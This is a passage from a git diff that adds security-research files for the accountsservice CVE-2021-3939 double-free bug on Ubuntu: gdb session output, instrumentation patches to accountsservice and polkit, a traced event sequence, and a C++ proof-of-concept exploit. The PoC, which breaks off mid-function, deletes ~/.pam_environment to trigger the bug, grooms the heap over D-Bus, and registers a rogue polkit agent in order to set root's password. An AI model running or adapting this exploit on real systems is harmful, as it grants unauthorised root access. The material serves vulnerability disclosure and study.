source_tag = 0x7f2620c8bce1 , op_res = {v_pointer = 0x564cfbd10840, v_boolean = -70186944, v_ssize = 94888642283584}, destroy_op_res = 0x7f2620e019f0 } + +(gdb) up 1 +#6 0x00007f2620c8bc8b in check_authorization_cb (proxy=0x564cfbc8a510, res=0x564cfbd256e0, user_data=0x564cfbc8e4c0) at /home/kev/projects/polkit/policykit-1-0.105/src/polkit/polkitauthority.c:854 +warning: Source file is more recent than executable. +854 g_simple_async_result_complete (data->simple); +(gdb) info args +proxy = 0x564cfbc8a510 +res = 0x564cfbd256e0 +user_data = 0x564cfbc8e4c0 +(gdb) info locals +data = 0x564cfbc8e4c0 +value = 0x7f261405c440 +error = 0x0 +(gdb) p *proxy +$16 = {parent_instance = {g_type_instance = {g_class = 0x564cfbc5a730 [g_type: None]}, ref_count = 131, qdata = 0x564cfbd0ae80}, priv = 0x564cfbc8a4a0} +(gdb) p *res +$17 = +(gdb) p *data +$18 = {authority = 0x564cfbd0b440, simple = 0x564cfbd29a00, cancellation_id = 0x0} +(gdb) p *value +$19 = {type_info = 0x7f261402fc30, size = 18446744073709551615, contents = {serialised = {bytes = 0x564cfbd49ca0, data = 0x1}, tree = {children = 0x564cfbd49ca0, n_children = 1}}, state = 4, ref_count = 1, depth = 0} + + +The double free happens at address 0x564cfbc8e4c0. Notice that the CheckAuthData struct has been allocated at that address (in the check_authorization_cb) stack frame. Notice that that address also appears multiple times in checkauthdata_table, so it has been used multiple times to store a CheckAuthData struct. diff --git a/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/observations/instrumentation.md b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/observations/instrumentation.md new file mode 100644 index 0000000..44d7d19 --- /dev/null +++ b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/observations/instrumentation.md @@ -0,0 +1,185 @@ +# Instrumentation added to accountsservice (in `src/user.c`) + +``` +--- src/user.c 2021-12-09 13:13:26.393957784 +0000 ++++ /home/kev/projects/accountsservice/accountsservice-0.6.55/src/user.c 2021-12-09 13:10:51.817419407 +0000 +@@ -87,6 +87,23 @@ + + G_DEFINE_TYPE_WITH_CODE (User, user, ACCOUNTS_TYPE_USER_SKELETON, G_IMPLEMENT_INTERFACE (ACCOUNTS_TYPE_USER, user_accounts_user_iface_init)); + ++enum LogEntryType { ++ LOGENTRY_FALLBACK_VALUE, ++ LOGENTRY_SET_EMAIL, ++ LOGENTRY_SET_EMAIL_CB, ++ LOGENTRY_SET_LANGUAGE, ++ LOGENTRY_SET_LANGUAGE_CB, ++ LOGENTRY_SET_PASSWORD, ++ LOGENTRY_SET_PASSWORD_CB ++}; ++ ++struct LogEntry { ++ enum LogEntryType type_; ++}; ++ ++struct LogEntry logentries[0x1000]; ++size_t logentry_pos = 0; ++ + static gint + account_type_from_pwent (struct passwd *pwent) + { +@@ -1116,6 +1133,11 @@ + { + gchar *email = data; + ++ { ++ struct LogEntry* e = &logentries[logentry_pos++ & 0xFFF]; ++ e->type_ = LOGENTRY_SET_EMAIL_CB; ++ } ++ + if (g_strcmp0 (accounts_user_get_email (ACCOUNTS_USER (user)), email) != 0) { + accounts_user_set_email (ACCOUNTS_USER (user), email); + +@@ -1136,6 +1158,11 @@ + int uid; + const gchar *action_id; + ++ { ++ struct LogEntry* e = &logentries[logentry_pos++ & 0xFFF]; ++ e->type_ = LOGENTRY_SET_EMAIL; ++ } ++ + if (!get_caller_uid (context, &uid)) { + throw_error (context, ERROR_FAILED, "identifying caller failed"); + return FALSE; +@@ -1356,6 +1383,13 @@ + g_free (lang); + g_free (lctime); + ++ g_warning("fallback_value (%s): %p", property, fallback_value); ++ ++ { ++ struct LogEntry* e = &logentries[logentry_pos++ & 0xFFF]; ++ e->type_ = LOGENTRY_FALLBACK_VALUE; ++ } ++ + return fallback_value; + } + +@@ -1518,6 +1552,11 @@ + { + const gchar *language = data; + ++ { ++ struct LogEntry* e = &logentries[logentry_pos++ & 0xFFF]; ++ e->type_ = LOGENTRY_SET_LANGUAGE_CB; ++ } ++ + if (!user_HOME_available (user)) { + + /* SetLanguage was probably called from a login greeter, +@@ -1568,6 +1607,11 @@ + int uid; + const gchar *action_id; + ++ { ++ struct LogEntry* e = &logentries[logentry_pos++ & 0xFFF]; ++ e->type_ = LOGENTRY_SET_LANGUAGE; ++ } ++ + if (!get_caller_uid (context, &uid)) { + throw_error (context, ERROR_FAILED, "identifying caller failed"); + return FALSE; +@@ -2697,6 +2741,11 @@ + g_autoptr(GError) error = NULL; + const gchar *argv[6]; + ++ { ++ struct LogEntry* e = &logentries[logentry_pos++ & 0xFFF]; ++ e->type_ = LOGENTRY_SET_PASSWORD_CB; ++ } ++ + sys_log (context, + "set password and hint of user '%s' (%d)", + accounts_user_get_user_name (ACCOUNTS_USER (user)), +@@ -2716,6 +2765,21 @@ + return; + } + ++ { ++ size_t i; ++ for (i = 0; i < logentry_pos; i++) { ++ struct LogEntry* e = &logentries[i]; ++ g_warning("logentry %ld: %d", i, e->type_); ++ } ++ } ++ ++ { ++ size_t i; ++ for (i = 0; i < 0xFFFFFFFF00000000; i++) { ++ sleep(1); ++ } ++ } ++ + accounts_user_set_password_mode (ACCOUNTS_USER (user), PASSWORD_MODE_REGULAR); + accounts_user_set_locked (ACCOUNTS_USER (user), FALSE); + accounts_user_set_password_hint (ACCOUNTS_USER (user), strings[1]); +@@ -2745,6 +2809,11 @@ + const gchar *action_id; + gint uid; + ++ { ++ struct LogEntry* e = &logentries[logentry_pos++ & 0xFFF]; ++ e->type_ = LOGENTRY_SET_PASSWORD; ++ } ++ + if (!get_caller_uid (context, &uid)) { + throw_error (context, ERROR_FAILED, "identifying caller failed"); + return FALSE; +``` + + +# Instrumentation added to polkit (in `src/polkit/polkitauthority.c`) + +``` +--- policykit-1-0.105/src/polkit/polkitauthority.c 2021-11-22 21:46:51.000000000 +0000 ++++ /home/kev/projects/polkit/policykit-1-0.105/src/polkit/polkitauthority.c 2021-12-09 13:18:52.543505054 +0000 +@@ -770,6 +770,14 @@ + gchar *cancellation_id; + } CheckAuthData; + ++ ++struct CheckAuthDataInfo { ++ CheckAuthData* data_; ++}; ++ ++struct CheckAuthDataInfo checkauthdata_table[0x1000]; ++checkauthdata_pos = 0; ++ + static void + cancel_check_authorization_cb (GDBusProxy *proxy, + GAsyncResult *res, +@@ -800,6 +808,11 @@ + GVariant *value; + GError *error; + ++ { ++ struct CheckAuthDataInfo* e = &checkauthdata_table[checkauthdata_pos++ & 0xFFF]; ++ e->data_ = data; ++ } ++ + error = NULL; + value = g_dbus_proxy_call_finish (proxy, res, &error); + if (value == NULL) +@@ -907,6 +920,11 @@ + callback, + user_data, + polkit_authority_check_authorization); ++ { ++ struct CheckAuthDataInfo* e = &checkauthdata_table[checkauthdata_pos++ & 0xFFF]; ++ e->data_ = data; ++ } ++ + G_LOCK (the_lock); + if (cancellable != NULL) + data->cancellation_id = g_strdup_printf ("cancellation-id-%d", authority->cancellation_id_counter++); +``` \ No newline at end of file diff --git a/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/observations/polkit_sequence.txt b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/observations/polkit_sequence.txt new file mode 100644 index 0000000..ce009f9 --- /dev/null +++ b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/observations/polkit_sequence.txt @@ -0,0 +1,166 @@ +This sequence of events is derived from the tracing data gathered +in logentries and checkauthdata_table (see info.txt). + +000: user_get_fallback_value (Language) +001: user_get_fallback_value (FormatsLocale) +002: 0x0000564cfbd1f970 set language (2x) \ +003: 0x0000564cfbd1f970 set language cb (2x) / <=== trigger bug (1st time) +004: 0x0000564cfbd0efd0 set email (2x) \ +005: 0x0000564cfbd0efd0 set email cb (2x) / +006: 0x0000564cfbc8e4c0 set password (5x) <=== [vuln chunk] gets denied (051) +007: 0x0000564cfbd1f930 set email (2x) \ +008: 0x0000564cfbd1f930 set email cb (2x) / +009: 0x0000564cfbd1e390 set password (3x) <=== gets denied (082) +010: 0x0000564cfbd1cc80 set email (2x) \ +011: 0x0000564cfbd1cc80 set email cb (2x) / +012: 0x0000564cfbc81670 set password (2x) <=== gets denied (116) +013: 0x0000564cfbd20800 set language (2x) \ +014: 0x0000564cfbd20800 set language cb (2x) / <=== trigger bug (2nd time) +015: 0x0000564cfbc81c10 set email (2x) \ +016: 0x0000564cfbc81c10 set email cb (2x) / +017: 0x0000564cfbc903e0 set password (2x) <=== gets denied (150) +018: 0x0000564cfbc81e00 set email (3x) \ +019: 0x0000564cfbc81e00 set email cb (3x) / +020: 0x0000564cfbd1cfe0 set password (1x) +021: 0x0000564cfbc927e0 set email (2x) <=== gets approved (158) +022: 0x0000564cfbd102d0 set password (1x) +023: 0x0000564cfbc7a600 set email (2x) <=== gets approved (159) +024: 0x0000564cfbd11a40 set password (1x) +025: 0x0000564cfbd1e740 set email (2x) <=== gets approved (160) +026: 0x0000564cfbc7fc20 set password (1x) +027: 0x0000564cfbd23e80 set email (2x) <=== gets approved (161) +028: 0x0000564cfbcd6bd0 set password (1x) +029: 0x0000564cfbc8e4c0 set email (5x) <=== [vuln chunk] gets approved (162), but it also gets overwritten (061) +030: 0x0000564cfbd23f00 set password (1x) +031: 0x0000564cfbd21cb0 set email (1x) +032: 0x0000564cfbc83800 set password (1x) +033: 0x0000564cfbd15f10 set email (1x) +034: 0x0000564cfbd1f2e0 set password (1x) +035: 0x0000564cfbd16ac0 set email (1x) +036: 0x0000564cfbc85ce0 set password (1x) +037: 0x0000564cfbd0f6a0 set email (1x) +038: 0x0000564cfbc7e590 set password (1x) +039: 0x0000564cfbd1d350 set email (1x) +040: 0x0000564cfbd18020 set password (1x) +041: 0x0000564cfbd17e30 set email (1x) +042: 0x0000564cfbd13030 set password (1x) +043: 0x0000564cfbd23ea0 set email (1x) +044: 0x0000564cfbd17ef0 set password (1x) +045: 0x0000564cfbd19310 set email (1x) +046: 0x0000564cfbc81e00 set password (3x) <=== same pointer as 018, but probably not relevant to the exploit +047: 0x0000564cfbd26320 set email (1x) +048: 0x0000564cfbd18100 set password (1x) +049: 0x0000564cfbd17b60 set email (1x) +050: 0x0000564cfbd28460 set password (1x) +051: 0x0000564cfbc8e4c0 set password cb (5x) <=== [vuln chunk] denied (006) +052: 0x0000564cfbd194a0 set email (1x) +053: 0x0000564cfbd284e0 set password (1x) +054: 0x0000564cfbd275d0 set email (1x) +055: 0x0000564cfbd29380 set password (1x) +056: 0x0000564cfbd21c40 set email (1x) +057: 0x0000564cfbd19630 set password (1x) +058: 0x0000564cfbd17d20 set email (1x) +059: 0x0000564cfbd1c3e0 set password (1x) +060: 0x0000564cfbd293a0 set email (1x) +061: 0x0000564cfbc8e4c0 set password (5x) <=== [vuln chunk] gets approved (161) due to overwriting chunk +062: 0x0000564cfbd1e790 set email (1x) +063: 0x0000564cfbd2aec0 set password (1x) +064: 0x0000564cfbd2af70 set email (1x) +065: 0x0000564cfbd2d8f0 set password (1x) +066: 0x0000564cfbd2d9e0 set email (1x) +067: 0x0000564cfbd2da70 set password (1x) +068: 0x0000564cfbd262a0 set email (1x) +069: 0x0000564cfbd2dd50 set password (1x) +070: 0x0000564cfbd2abd0 set email (1x) +071: 0x0000564cfbd2bc90 set password (1x) +072: 0x0000564cfbd2cbe0 set email (1x) +073: 0x0000564cfbd2e2d0 set password (1x) +074: 0x0000564cfbd2ae40 set email (1x) +075: 0x0000564cfbd2d800 set password (1x) +076: 0x0000564cfbd2e270 set email (1x) +077: 0x0000564cfbd30430 set password (1x) +078: 0x0000564cfbd31210 set email (1x) +079: 0x0000564cfbd32820 set password (1x) +080: 0x0000564cfbd310a0 set email (1x) +081: 0x0000564cfbd2cad0 set password (1x) +082: 0x0000564cfbd1e390 set password cb (3x) <=== denied (009) +083: 0x0000564cfbd1e390 set email (3x) <=== same pointer as 009, but probably not relevant to the exploit +084: 0x0000564cfbd262c0 set password (1x) +085: 0x0000564cfbd2c820 set email (1x) +086: 0x0000564cfbd31280 set password (1x) +087: 0x0000564cfbd32d50 set email (1x) +088: 0x0000564cfbc829a0 set password (1x) +089: 0x0000564cfbd1ccd0 set email (1x) +090: 0x0000564cfbd2e040 set password (1x) +091: 0x0000564cfbd13050 set email (1x) +092: 0x0000564cfbd352f0 set password (1x) +093: 0x0000564cfbd35780 set email (1x) +094: 0x0000564cfbd32c80 set password (1x) +095: 0x0000564cfbd364d0 set email (1x) +096: 0x0000564cfbd28480 set password (1x) +097: 0x0000564cfbd364f0 set email (1x) +098: 0x0000564cfbd34270 set password (1x) +099: 0x0000564cfbd35520 set email (1x) +100: 0x0000564cfbd32ae0 set password (1x) +101: 0x0000564cfbd34080 set email (1x) +102: 0x0000564cfbd34300 set password (1x) +103: 0x0000564cfbd37310 set email (1x) +104: 0x0000564cfbd36310 set password (1x) +105: 0x0000564cfbd362a0 set email (1x) +106: 0x0000564cfbd37680 set password (1x) +107: 0x0000564cfbd35760 set email (1x) +108: 0x0000564cfbd38300 set password (1x) +109: 0x0000564cfbd34650 set email (1x) +110: 0x0000564cfbd3b7e0 set password (1x) +111: 0x0000564cfbd3a580 set email (1x) +112: 0x0000564cfbd393a0 set password (1x) +113: 0x0000564cfbd35570 set email (1x) +114: 0x0000564cfbd3c410 set password (1x) +115: 0x0000564cfbd3c430 set email (1x) +116: 0x0000564cfbc81670 set password cb (2x) <=== denied (012) +117: 0x0000564cfbd3c5a0 set password (1x) +118: 0x0000564cfbd3b450 set email (1x) +119: 0x0000564cfbd38470 set password (1x) +120: 0x0000564cfbd3ed50 set email (1x) +121: 0x0000564cfbd0f440 set password (1x) +122: 0x0000564cfbc847c0 set email (1x) +123: 0x0000564cfbd3eff0 set password (1x) +124: 0x0000564cfbd39b30 set email (1x) +125: 0x0000564cfbd39330 set password (1x) +126: 0x0000564cfbd327c0 set email (1x) +127: 0x0000564cfbd402c0 set password (1x) +128: 0x0000564cfbd40430 set email (1x) +129: 0x0000564cfbd40240 set password (1x) +130: 0x0000564cfbd41300 set email (1x) +131: 0x0000564cfbd3ee60 set password (1x) +132: 0x0000564cfbd414a0 set email (1x) +133: 0x0000564cfbd41400 set password (1x) +134: 0x0000564cfbd43ad0 set email (1x) +135: 0x0000564cfbd43300 set password (1x) +136: 0x0000564cfbd41080 set email (1x) +137: 0x0000564cfbd3edc0 set password (1x) +138: 0x0000564cfbd44740 set email (1x) +139: 0x0000564cfbd44320 set password (1x) +140: 0x0000564cfbd43370 set email (1x) +141: 0x0000564cfbd41030 set password (1x) +142: 0x0000564cfbd323f0 set email (1x) +143: 0x0000564cfbd41620 set password (1x) +144: 0x0000564cfbd446e0 set email (1x) +145: 0x0000564cfbd3ef30 set password (1x) +146: 0x0000564cfbd47450 set email (1x) +147: 0x0000564cfbd474d0 set password (1x) +148: 0x0000564cfbd44610 set email (1x) +149: 0x0000564cfbd47470 set password (1x) +150: 0x0000564cfbc903e0 set password cb (1x) <=== denied (017) +151: 0x0000564cfbd476a0 set email (1x) +152: 0x0000564cfbd493e0 set password (1x) +153: 0x0000564cfbd49590 set email (1x) +154: 0x0000564cfbd47410 set password (1x) +155: 0x0000564cfbd498b0 set email (1x) +156: 0x0000564cfbd323d0 set password (1x) +157: 0x0000564cfbd47110 set email (1x) +158: 0x0000564cfbc927e0 set email cb (2x) <=== approved (021) +159: 0x0000564cfbc7a600 set email cb (2x) <=== approved (023) +160: 0x0000564cfbd1e740 set email cb (2x) <=== approved (025) +161: 0x0000564cfbd23e80 set email cb (2x) <=== approved (027) +162: 0x0000564cfbc8e4c0 set email cb (5x) <=== [vuln chunk] approval of 029, but has been overwritten by 061 diff --git a/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/poc.cpp b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/poc.cpp new file mode 100644 index 0000000..2a037bb --- /dev/null +++ b/SecurityExploits/Ubuntu/accountsservice_CVE-2021-3939/poc.cpp @@ -0,0 +1,642 @@ +#include "dbus_utils.hpp" +#include "dbus_auth.hpp" +#include "parse.hpp" +#include "utils.hpp" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +static const char accounts_daemon[] = "/usr/lib/accountsservice/accounts-daemon"; +static const char* etc_shadow_path = "/etc/shadow"; + +// Return true if the timespecs are equal. +static bool timespec_eq(const timespec& t1, const timespec& t2) { + return t1.tv_sec == t2.tv_sec && t1.tv_nsec == t2.tv_nsec; +} + +// This class creates an array containing the names of all the files in a +// directory. It does this by running `scandirat` in its constructor. +class ScanDirAt { + struct dirent **namelist_; + const int n_; + +public: + explicit ScanDirAt(int fd) + : n_(scandirat(fd, ".", &namelist_, NULL, alphasort)) + { + if (n_ < 0) { + throw ErrorWithErrno("ScanDirAt failed."); + } + } + + ~ScanDirAt(); + + int size() const { return n_; } + + const char* get(int i) const { return namelist_[i]->d_name; } +}; + +ScanDirAt::~ScanDirAt() { + if (n_ >= 0) { + for (int i = 0; i < n_; i++) { + free(namelist_[i]); + } + free(namelist_); + } +} + +// Search `/proc/*/cmdline` to find the PID of a running program. +static std::vector search_pids(const char *cmdline, size_t cmdline_len) { + AutoCloseFD procdir_fd(open("/proc", O_PATH | O_CLOEXEC)); + if (procdir_fd.get() < 0) { + throw ErrorWithErrno("Could not open /proc."); + } + ScanDirAt scanDir(procdir_fd.get()); + + const int n = scanDir.size(); + std::vector result; + for (int i = 0; i < n; i++) { + const char* subdir_name = scanDir.get(i); + AutoCloseFD subdir_fd( + openat(procdir_fd.get(), subdir_name, O_PATH | O_CLOEXEC) + ); + if (procdir_fd.get() < 0) { + continue; + } + AutoCloseFD cmdline_fd( + openat(subdir_fd.get(), "cmdline", O_RDONLY | O_CLOEXEC) + ); + if (cmdline_fd.get() < 0) { + continue; + } + + // Check if the command line matches. + char buf[0x1000]; + ssize_t r = read(cmdline_fd.get(), buf, sizeof(buf)); + if (r < 0 || static_cast(r) < cmdline_len) { + continue; + } + if (memcmp(buf, cmdline, cmdline_len) == 0) { + // The name of the sub-directory is the PID. + result.push_back(atoi(subdir_name)); + } + } + return result; +} + +static pid_t search_pid(const char *cmdline, size_t cmdline_len) { + std::vector pids = search_pids(cmdline, cmdline_len); + if (pids.size() == 1) { + return pids[0]; + } + return -1; +} + +class DBusSocket : public AutoCloseFD { +public: + DBusSocket(const uid_t uid, const char* filename) : + AutoCloseFD(socket(AF_UNIX, SOCK_STREAM, 0)) + { + if (get() < 0) { + throw ErrorWithErrno("Could not create socket"); + } + + sockaddr_un address; + memset(&address, 0, sizeof(address)); + address.sun_family = AF_UNIX; + strcpy(address.sun_path, filename); + + if (connect(get(), (sockaddr*)(&address), sizeof(address)) < 0) { + throw ErrorWithErrno("Could not connect socket"); + } + + dbus_sendauth(uid, get()); + + dbus_send_hello(get()); + std::unique_ptr hello_reply1 = receive_dbus_message(get()); + std::string name = hello_reply1->getBody().getElement(0)->toString().getValue(); + std::unique_ptr hello_reply2 = receive_dbus_message(get()); + } +}; + +static std::string getHomeDir(uid_t uid) { + FILE *fp = fopen("/etc/passwd", "r"); + char buf[4096] = {}; + struct passwd pw; + struct passwd *pwp; + while (true) { + if (fgetpwent_r(fp, &pw, buf, sizeof(buf), &pwp) != 0) { + fclose(fp); + char errmsg[256]; + snprintf( + errmsg, sizeof(errmsg), + "Could not find UID %u in /etc/passwd.", + uid + ); + throw Error(errmsg); + } + if (uid == pw.pw_uid) { + fclose(fp); + return _s(pw.pw_dir); + } + } +} + +static std::string send_accountsservice_FindUserById( + const int fd, + const uint32_t serialNumber, + const uid_t uid +) { + printf("send_accountsservice_FindUserById: (serial %u) uid = %u\n", serialNumber, uid); + + dbus_method_call( + fd, + serialNumber, + DBusMessageBody::mk( + _vec>( + DBusObjectInt64::mk(uid) + ) + ), + _s("/org/freedesktop/Accounts"), + _s("org.freedesktop.Accounts"), + _s("org.freedesktop.Accounts"), + _s("FindUserById") + ); + + std::unique_ptr reply = receive_dbus_message(fd); + + if (reply->getHeader_messageType() != MSGTYPE_METHOD_RETURN) { + throw Error("FindUserById returned an error."); + } + + return reply->getBody().getElement(0)->toPath().getValue(); +} + +static void send_accountsservice_SetPassword( + const int fd, + const char* userpath, + const char* password, + const char* hint, + const uint32_t serialNumber +) { + dbus_method_call( + fd, + serialNumber, + DBusMessageBody::mk( + _vec>( + DBusObjectString::mk(_s(password)), + DBusObjectString::mk(_s(hint)) + ) + ), + _s(userpath), + _s("org.freedesktop.Accounts.User"), + _s("org.freedesktop.Accounts"), + _s("SetPassword") + ); + + // Don't wait for reply here because it's blocked on polkit. +} + +static void send_accountsservice_set_property( + const int fd, + const uint32_t serialNumber, + const char* userpath, + const char* command, + const char* value +) { + dbus_method_call( + fd, + serialNumber, + DBusMessageBody::mk( + _vec>( + DBusObjectString::mk(_s(value)) + ) + ), + _s(userpath), + _s("org.freedesktop.Accounts.User"), + _s("org.freedesktop.Accounts"), + _s(command) + ); + + std::unique_ptr reply = receive_dbus_message(fd); + + if (reply->getHeader_messageType() != MSGTYPE_METHOD_RETURN) { + throw Error("set_property returned an error."); + } +} + +// Information that can be gathered once when we first start executing. +class ProgramInfo { +public: + // Path to the dbus socket. (Usually: /var/run/dbus/system_bus_socket) + const char* dbus_socket_path_; + + // UID and PID of this process. + const uid_t uid_; + const pid_t pid_; + + // Start time of the process. (Needed to register as an authentication agent.) + const uint64_t start_time_; + + const std::string homedir_; + + explicit ProgramInfo(const char* dbus_socket_path) : + dbus_socket_path_(dbus_socket_path), + uid_(getuid()), + pid_(getpid()), + start_time_(process_start_time(pid_)), + homedir_(getHomeDir(uid_)) + { + printf("uid: %u\n", uid_); + printf("pid: %u\n", pid_); + printf("home dir: %s\n", homedir_.c_str()); + } +}; + +static void send_polkit_RegisterAuthenticationAgent( + const ProgramInfo& info, + const int fd, + const uint32_t serialNumber +) { + std::unique_ptr body = + DBusMessageBody::mk( + _vec>( + // Subject + DBusObjectStruct::mk( + _vec>( + DBusObjectString::mk(_s("unix-process")), // subject_kind + DBusObjectArray::mk1( + _vec>( + DBusObjectDictEntry::mk( + DBusObjectString::mk(_s("pid")), + DBusObjectVariant::mk( + DBusObjectUint32::mk(info.pid_) + ) + ), + DBusObjectDictEntry::mk( + DBusObjectString::mk(_s("uid")), + DBusObjectVariant::mk( + DBusObjectInt32::mk(info.uid_) + ) + ), + DBusObjectDictEntry::mk( + DBusObjectString::mk(_s("start-time")), + DBusObjectVariant::mk( + DBusObjectUint64::mk(info.start_time_) + ) + ) + ) + ) + ) + ), + DBusObjectString::mk(_s("en")), // locale + DBusObjectString::mk(_s("/org/freedesktop/PolicyKit1/AuthenticationAgent")) // object path + ) + ); + + dbus_method_call( + fd, + serialNumber, + std::move(body), + _s("/org/freedesktop/PolicyKit1/Authority"), + _s("org.freedesktop.PolicyKit1.Authority"), + _s("org.freedesktop.PolicyKit1"), + _s("RegisterAuthenticationAgent") + ); + + std::unique_ptr reply = receive_dbus_message(fd); + + if (reply->getHeader_messageType() != MSGTYPE_METHOD_RETURN) { + throw Error("RegisterAuthenticationAgent returned an error."); + } +} + +// Sends an error reply back to the "BeginAuthentication" message that we +// received from polkit. This cancels the authentication so that polkit +// will deny the request. (Sometimes we want to deliberately delay the +// cancellation for a bit, so this allows us to control that.) +static void polkit_cancel_auth( + const int fd, const uint32_t serialNumber, const DBusMessage& request +) { + const std::string& sender = + request.getHeader_lookupField(MSGHDR_SENDER).getValue()->toString().getValue(); + + // Send error request + dbus_method_error_reply( + fd, + serialNumber, + request.getHeader_serialNumber(), + _s(sender), + _s("org.freedesktop.PolicyKit1.Error.Cancelled") + ); +} + +class Run { + const ProgramInfo& info_; + + const std::string pam_env_path_; + + // We're going to exchange messages with polkit and accounts-daemon. + // This is lazy coding, but the logic is simplier if we use two + // separate sockets. + const DBusSocket polkit_fd_; + const DBusSocket accounts_fd_; + + uint32_t serialNumber_; + + // Usually something like /org/freedesktop/Accounts/User1001 + const std::string my_objectpath_; + +public: + explicit Run(const ProgramInfo& info) : + info_(info), + pam_env_path_(info_.homedir_ + _s("/.pam_environment")), + polkit_fd_(info_.uid_, info_.dbus_socket_path_), + accounts_fd_(info_.uid_, info_.dbus_socket_path_), + serialNumber_(1000), + my_objectpath_( + send_accountsservice_FindUserById(accounts_fd_.get(), serialNumber_++, info_.uid_) + ) + {} + + // This function triggers the bug by removing `~/.pam_environment` and + // calling the "SetLanguage" method. + void trigger_bug() { + unlink(pam_env_path_.c_str()); + try { + send_accountsservice_set_property( + accounts_fd_.get(), serialNumber_++, my_objectpath_.c_str(), + "SetLanguage", "kevwozere" + ); + } catch(Error&) { + // An error is quite likely, so ignore it. + } + } + + // We use this function to make sure that we're starting from a clean slate. + // It makes the exploit a bit less unreliable. + void restart_accounts_daemon() { + while (true) { + const pid_t pid = search_pid(accounts_daemon, sizeof(accounts_daemon)); + if (pid < 0) { + printf("accounts-daemon is not running\n"); + break; + } + printf("accounts-daemon PID: %d\n", pid); + trigger_bug(); + + // Sleep for 0.2 seconds, to give accounts-daemon a chance to crash. + timespec duration = {}; + duration.tv_sec = 0; + duration.tv_nsec = 500000000; + clock_nanosleep(CLOCK_MONOTONIC, 0, &duration, 0); + } + } + + void attempt_exploit( + const size_t batch_size1, + const size_t batch_size2 + ) { + restart_accounts_daemon(); + + send_polkit_RegisterAuthenticationAgent(info_, polkit_fd_.get(), serialNumber_++); + + // By default, accountsservice does not register the root user. This triggers it. + const std::string root_objectpath = + send_accountsservice_FindUserById(accounts_fd_.get(), serialNumber_++, 0); + + const pid_t pid = search_pid(accounts_daemon, sizeof(accounts_daemon)); + printf("Starting exploit. PID: %u\n", pid); + + // Trigger the bug. + trigger_bug(); + + // This is declared outside of the loop because we want to remember the + // the last value that it's set to. + char email[64] = "kevwozere@kevwozere.com"; + + // Try to occupy the chunk. + for (size_t i = 0; i < batch_size1; i++) { + // Changing the email address triggers a call to `save_extra_data`, + // which causes a bunch of memory to be allocated and freed, but + // without increasing the total memory usage. (At least, I haven't + // noticed any memory leaks in that code.) So by jumbling the memory + // up, it will hopefully increase the chance that one of the calls + // to SetPassword will allocate the chunk that we want it to. + snprintf(email, sizeof(email), + "kevwozere@kevwozere.kevwozere.kevwozere.kevwozere.%.8lu.com", i + ); + send_accountsservice_set_property( + accounts_fd_.get(), serialNumber_++, my_objectpath_.c_str(), + "SetEmail", email + ); + + // The password and hint are sized so that they will require a chunk + // bigger than size 0x40. + const char* password = + "0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef"; + const char* hint = + "0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF"; + send_accountsservice_SetPassword( + accounts_fd_.get(), root_objectpath.c_str(), password, hint, serialNumber_++ + ); + } + + // We expect to receive one polkit "BeginAuthentication" for each + // "SetPassword" message that we sent. + std::vector> polkit_requests_batch1; + polkit_requests_batch1.reserve(batch_size1); + for (size_t i = 0; i < batch_size1; i++) { + polkit_requests_batch1.push_back(receive_dbus_message(polkit_fd_.get())); + } + + // Trigger the bug a second time. If things are going to plan + // then the chunk currently contains the memory that was allocated + // by `user_set_password`. We can control when `free_passwords` + // gets called on it by releasing `polkit_requests_batch1`. + trigger_bug(); + + for (size_t i = 0; i < batch_size2; i++) { + // Changing the email address triggers a call to `save_extra_data`, + // which causes a bunch of memory to be allocated and freed, but + // without increasing the total memory usage. (At least, I haven't + // noticed any memory leaks in that code.) So by jumbling the memory + // up, it will hopefully increase the chance that one of the calls + // to SetPassword will allocate the chunk that we want it to. + snprintf(email, sizeof(email), + "kevwozere@kevwozere.kevwozere.kevwozere.kevwozere.%.8lu.com", i + ); + send_accountsservice_set_property( + accounts_fd_.get(), serialNumber_++, my_objectpath_.c_str(), + "SetEmail", email + ); + + // The password and hint are sized so that they will require a chunk + // of size 0x40. + const char* password = + "0123456789abcdef0123456789abcdef0123456789abcdef"; + const char* hint = + "0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF"; + send_accountsservice_SetPassword( + accounts_fd_.get(), root_objectpath.c_str(), password, hint, serialNumber_++ + ); + } + + // Reject all of the authentication requests from the first batch. + for (size_t i = 0; i < batch_size1; i++) { + polkit_cancel_auth(polkit_fd_.get(), serialNumber_++, *polkit_requests_batch1[i]); + + // We should get an error response back from accounts-daemon. + std::unique_ptr reply = receive_dbus_message(accounts_fd_.get()); + if (reply->getHeader_messageType() != MSGTYPE_ERROR) { + throw Error("Did not get the error response that we expected."); + } + // The error message should be org.freedesktop.Accounts.Error.PermissionDenied. + // If it isn't then account-daemon probably crashed. + const std::string& errmsg = + reply->getHeader_lookupField(MSGHDR_ERROR_NAME).getValue()->toString().getValue(); + if (errmsg != _s("org.freedesktop.Accounts.Error.PermissionDenied")) { + throw Error(_s(errmsg)); + } + } + + // We expect to receive one polkit "BeginAuthentication" for each + // "SetPassword" message that we sent in the second batch. + std::vector> polkit_requests_batch2; + polkit_requests_batch2.reserve(batch_size2); + for (size_t i = 0; i < batch_size2; i++) { + if (search_pid(accounts_daemon, sizeof(accounts_daemon)) != pid) { + throw Error("accounts-daemon crash"); + } + polkit_requests_batch2.push_back(receive_dbus_message(polkit_fd_.get())); + } + + // Send a bunch of requests that will be approved by polkit (because + // they only require org.freedesktop.accounts.change-own-user-data + // permission). We're hoping that the auth data that is allocated for + // one of these in `daemon_local_check_auth` (in an 0x40 chunk size) + // will get freed before it is approved and overwritten with the auth + // data for one of the subsequent SetPassword requests. + // We alternate between the different messages because the timing + // of when things will happen is very difficult to predict, so we + // just have to rely on luck. + for (size_t i = 0; i < batch_size2 + 64; i++) { + // Reject all of the authentication requests from the second batch. + // This will hopefully cause a double free of one of the 0x40 chunks. + if (i < batch_size2) { + polkit_cancel_auth(polkit_fd_.get(), 